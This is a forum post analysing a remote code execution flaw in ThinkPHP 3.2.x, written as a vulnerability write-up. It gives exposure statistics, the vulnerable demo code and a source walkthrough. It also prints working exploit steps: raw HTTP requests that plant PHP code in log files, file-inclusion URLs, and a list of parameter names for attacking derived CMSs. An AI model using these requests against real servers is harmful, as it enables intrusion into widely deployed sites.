Anonymous 发表于 2021-7-12 10:57:04

ThinkPHP3.2.x RCE漏洞

本帖最后由 匿名 于 2021-7-12 10:59 编辑

                                                                                                   
漏洞概述
近日,网络上出现针对ThinkPHP3.2的远程代码执行漏洞。该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。
https://www.ihonker.org/data/attachment/forum/202107/12/ff914607aace07f95b8ca743f3e5126f.pngThinkPHP是一个开源免费的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。Thinkphp在国内拥有庞大的用户群体,其中不乏关键基础设施用户。
危害等级严重

分布情况
fofa分布情况:

https://www.ihonker.org/data/attachment/forum/202107/12/0ed4c8446209fbd18b39828214f1278c.png
目前FOFA系统最新数据(一年内数据)显示中国最多,国外的基本是云主机部署。中国范围内共有139809个使用thinkphp框架的服务。其中部署于云主机的服务最多,共有96172个。山东第二,共有4,638个,广东第三,共有4,560个,上海第四,共有2,853个,江苏第五,共有1,585台。
gitee分布情况:

https://www.ihonker.org/data/attachment/forum/202107/12/83aa39cdbabe9965b5c110a9d2b8fbc0.png

github分布情况:
目前Github最新数据显示全部仓库内共有331个,相关代码行数244,863个。https://www.ihonker.org/data/attachment/forum/202107/12/3bc30d2061f27ccef3b6d90df23da8f5.png



原理分析
0x01 攻击方式:
标题:ThinkPHP3.2.x_assign方法第一个变量可控=>变量覆盖=>任意文件包含=>RCE
作者:北门-王境泽@玄甲实验室
审稿:梦想小镇-晨星@玄甲实验室
攻击方式:远程
漏洞危害:严重
攻击url: http://x.x.x.x/index.php?m=Home&c=Index&a=index&value=.\Application\Runtime\Logs\Home\21_06_30.log
标签:ThinkPHP3.2.3 RCE 变量覆盖 文件包含 代码执行

0x02 利用条件:
在ThinkPHP3.2.3框架的程序中,如果要在模板中输出变量,需要在控制器中把变量传递给模板,系统提供了assign方法对模板变量赋值,本漏洞的利用条件为assign方法的第一个变量可控。
下面是漏洞的demo代码:
https://www.ihonker.org/data/attachment/forum/202107/12/e85b1cd7c3eb522e5d28af2128376739.png
<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index($value=''){      $this->assign($value);      $this->display();    }}
demo代码说明:
如果需要测试请把demo代码放入对应位置,代码位置:\Application\Home\Controller\IndexController.class.php
因为程序要进入模板渲染方法方法中,所以需要创建对应的模板文件,内容随意,模板文件位置:
\Application\Home\View\Index\index.html

这里需要说明,模板渲染方法(display,fetch,show)都可以;这里fetch会有一些区别,因为fetch程序逻辑中会使用ob_start()打开缓冲区,使得PHP代码的数据块和echo()输出都会进入缓冲区而不会立刻输出,所以构造fetch方法对应的攻击代码想要输出的话,需要在攻击代码末尾带上exit()或die();
漏洞攻击:
测试环境:
ThinkPHP3.2.3完整版 Phpstudy2016 PHP-5.6.27 Apache Windows10

debug模式开启或不开启有一点区别,但是都可以。
1.debug模式关闭:

写入攻击代码到日志中。错误请求系统报错:
https://www.ihonker.org/data/attachment/forum/202107/12/d74d9144ff7bec48b9bef7d2a67a7be5.png

请求数据包:
GET /index.php?m=--><?=phpinfo();?> HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=b6r46ojgc9tvdqpg9efrao7f66;Upgrade-Insecure-Requests: 1
日志文件路径(这里是默认配置的log文件路径,ThinkPHP的日志路径和日期相关):
\Application\Runtime\Logs\Common\21_06_30.log

日志文件内容:
https://www.ihonker.org/data/attachment/forum/202107/12/f53e86e2fd8ec9f95b5517f5647a0cd0.png
构造攻击请求:
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value=./Application/Runtime/Logs/Common/21_06_30.log


https://www.ihonker.org/data/attachment/forum/202107/12/8234a6355452027fa8ee011fdbb7d3bf.png
2.debug模式关闭:

   上面的错误请求日志方式同样可用。另外debug模式开启,正确请求的日志也会被记录的到日志中,但日志路径不一样。


请求数据包:
GET /index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?> HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=b6r46ojgc9tvdqpg9efrao7f66;Upgrade-Insecure-Requests: 1
日志文件路径(这里是默认配置的log文件路径):
\Application\Runtime\Logs\Home\21_06_30.log

构造攻击请求:http://127.0.0.1/index.php?m=Home&c=Index&a=index&value=./Application/Runtime/Logs/Home/21_06_30.log


https://www.ihonker.org/data/attachment/forum/202107/12/68acf5e8a5505fccbaa2150c56e4f4ef.png
3.寻找程序上传入口,上传文件

这种方式最可靠,上传具有恶意代码的任何文件到服务器上,直接包含其文件相对或绝对路径即可。
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value=./test.txt


0x03 代码分析
程序执行流程:
https://www.ihonker.org/data/attachment/forum/202107/12/1179ab7c5cde8c026998e90d8ce5266f.png
1.功能代码中的assign方法中第一个变量为可控变量:
代码位置:\Application\Home\Controller\IndexController.class.php
https://www.ihonker.org/data/attachment/forum/202107/12/635d726c37d3b124eb913eea5a472429.png

2.可控变量进入assign方法赋值给$this→tVar变量:
代码位置:\ThinkPHP\Library\Think\View.class.php
https://www.ihonker.org/data/attachment/forum/202107/12/f7a733079f1a1ee81525a142e9870378.png
3.赋值结束后进入display方法中,display方法开始解析并获取模板文件内容,此时模板文件路径和内容为空:
代码位置:\ThinkPHP\Library\Think\View.class.php
https://www.ihonker.org/data/attachment/forum/202107/12/6786d7ae1d82f6c1ccea980f0bcd7671.png

4.程序进入fetch方法中,传入的参数为空,程序会去根据配置获取默认的模板文件位置(./Application/Home/View/Index/index.html)。之后,系统配置的默认模板引擎为think,所以程序进入else分支,获取$this→tVar变量值赋值给$params,之后进入Hook::listen方法中。
代码位置:\ThinkPHP\Library\Think\View.class.php
https://www.ihonker.org/data/attachment/forum/202107/12/4c6f8518ae037efec4eed5f93e21e6f3.png

5.listen方法处理后,进入exec方法中:
代码位置:\ThinkPHP\Library\Think\Hook.class.php
https://www.ihonker.org/data/attachment/forum/202107/12/1373eee775840995fe466dc652bfa149.png

6.进入exec方法中,处理后调用Behavior\ParseTemplateBehavior类中的run方法处理$params这个带有日志文件路径的值。
代码位置:\ThinkPHP\Library\Think\Hook.class.php
https://www.ihonker.org/data/attachment/forum/202107/12/8cbd5b7cf84634c77fd3b8b40abaa8aa.png

7.程序进入run方法中,一系列判断后,进入else分支,调用Think\Template类中的fetch方法对变量$_data(为带有日志文件路径的变量值)进行处理。
代码位置:\ThinkPHP\Library\Behavior\ParseTemplateBehavior.class.php
https://www.ihonker.org/data/attachment/forum/202107/12/ee7bb02c3a728c0211ca671599a6b984.png

8.进入Think\Template类中的fetch方法,获取缓存文件路径后,进入Storage的load方法中。
代码位置:\ThinkPHP\Library\Think\Template.class.php
https://www.ihonker.org/data/attachment/forum/202107/12/883e5560ab7611fa7f7034ef847b26c4.png

9.跟进到Storage的load方法中,$_filename为之前获取的缓存文件路径,$var则为之前带有_filename=日志文件路径的数组,$vars不为空则使用extract方法的EXTR_OVERWRITE默认描述对变量值进行覆盖,之后include该日志文件路径,造成文件包含。
代码位置:\ThinkPHP\Library\Think\Storage\Driver\File.class.php
https://www.ihonker.org/data/attachment/forum/202107/12/04b4a839ffe160d08399fef1de948c89.png

覆写后:
https://www.ihonker.org/data/attachment/forum/202107/12/f2aae7d364dbaff0b3a74ebc7996ba8d.png

最终导致:
include .\Application\Runtime\Logs\Home\21_06_30.log

https://www.ihonker.org/data/attachment/forum/202107/12/b028c04b5070f83ba1c45d09ebf36893.png

0x05 ThinkPHP3.2.*各版本之间的差异:
1.ThinkPHP_3.2和ThinkPHP_3.2.1

代码位置:\ThinkPHP\Library\Think\Storage\Driver\File.class.php 第68-79行
/**   * 加载文件   * @access public   * @param string $filename文件名   * @param array $vars传入变量   * @return void             */    public function load($filename,$vars=null){      if(!is_null($vars))            extract($vars, EXTR_OVERWRITE);      include $filename;    }
http://x.x.x.x/index.php?m=Home&c=Index&a=index&value=.\
2.ThinkPHP_3.2.2和ThinkPHP_3.2.3

代码位置:\ThinkPHP\Library\Think\Storage\Driver\File.class.php
/**   * 加载文件   * @access public   * @param string $filename文件名   * @param array $vars传入变量   * @return void             */    public function load($_filename,$vars=null){      if(!is_null($vars))            extract($vars, EXTR_OVERWRITE);      include $_filename;    }
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value=.\
3.限定条件下参数的收集

很多利用Thinkphp二开的cms,value的值不确定,以下列出常见的:
paramnamevaluearrayarrinfolistpagemenusvardatamoudlemodule
最终payload例如:http://127.0.0.1/index.php?m=Home&c=Index&a=index&info=.\
参考:http://www.thinkphp.cn/

Dixon 发表于 2022-3-21 09:28:26

看看学习一下
页: [1]
查看完整版本: ThinkPHP3.2.x RCE漏洞